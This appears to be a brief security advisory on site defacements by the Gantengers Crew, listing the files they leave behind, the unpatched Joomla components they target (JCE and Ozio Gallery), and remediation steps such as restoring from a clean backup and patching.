Site got defaced by the Gantengers Crew. Typically, on hacked sites you will find the following files in various directories:
ganteng.htm, ganteng.php and ganteng.gif. Ganteng.php may show quite a minimalistic information that the site is hacked but if you pass a spefic parameter to it, the page will show detailed information about the compromised system.
Some of their scripts have the "patch" option that deletes vulnerable Joomla modules (quite rough patching).


Any web site. However these hackers specifically target unpatched Joomla sites with vulnerabilities in JCE and Ozio Gallery.


Restore your site from a clean backup. Deleting all files first is the best option since it will delete all backdoors and other malicious files that
hackers could leave on the server. It is important to identify and close the security hole to prevent recurring attacks.
If you use Joomla, make sure to upgrade and fully patch it. Pay a special attention to component and plugins, especially to JCE and Ozio Gallery.
